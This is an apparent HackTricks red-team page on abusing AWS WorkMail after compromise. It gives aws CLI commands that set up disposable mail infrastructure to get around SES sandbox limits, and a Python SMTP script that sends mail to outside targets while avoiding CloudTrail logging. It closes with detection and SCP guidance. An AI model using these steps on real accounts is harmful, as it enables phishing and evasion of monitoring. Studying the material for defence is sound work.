AWS - WorkMail Post Exploitation

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abusing WorkMail to bypass SES sandbox

Even if SES is stuck in the sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:

  1. Create a WorkMail org (region-scoped) 
    aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  2. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com): 
    aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  3. Provision mailbox users and register them: 
    aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notes:

  • Default recipient cap documented by AWS: 100,000 external recipients/day per org (aggregated across users).
  • Domain verification activity will appear in CloudTrail under SES but with invokedBy: workmail.<region>.amazonaws.com, so SES verification events can belong to WorkMail setup rather than SES campaigns.
  • WorkMail mailbox users become application-layer persistence independent from IAM users.

Sending paths & telemetry gaps

Web client (WorkMail UI)

  • Sends surface as ses:SendRawEmail events in CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, so the true client IP is hidden.
  • requestParameters still leak sender (source, fromArn, sourceArn, configuration set) to correlate with newly verified domains/mailboxes.

SMTP (stealthiest)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) with the mailbox password.
  • No CloudTrail data events are generated for SMTP delivery, even when SES data events are enabled.
  • Ideal detection points are org/domain/user provisioning and SES identity ARNs referenced in subsequent web-sent SendRawEmail events.
Example SMTP send via WorkMail 
import smtplib
from email.message import EmailMessage

SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"

target = "victim@example.com"  # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
    smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
    smtp.send_message(msg)

Detection considerations

  • If WorkMail is unnecessary, block it via SCPs (workmail:* deny) at the org level.
  • Alert on provisioning: workmail:CreateOrganization, workmail:CreateUser, workmail:RegisterToWorkMail, and SES verifications with invokedBy=workmail.amazonaws.com (ses:VerifyDomainIdentity, ses:VerifyDomainDkim).
  • Watch for anomalous ses:SendRawEmail events where the identity ARNs reference new domains and the source IP/UA equals workmail.<region>.amazonaws.com.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks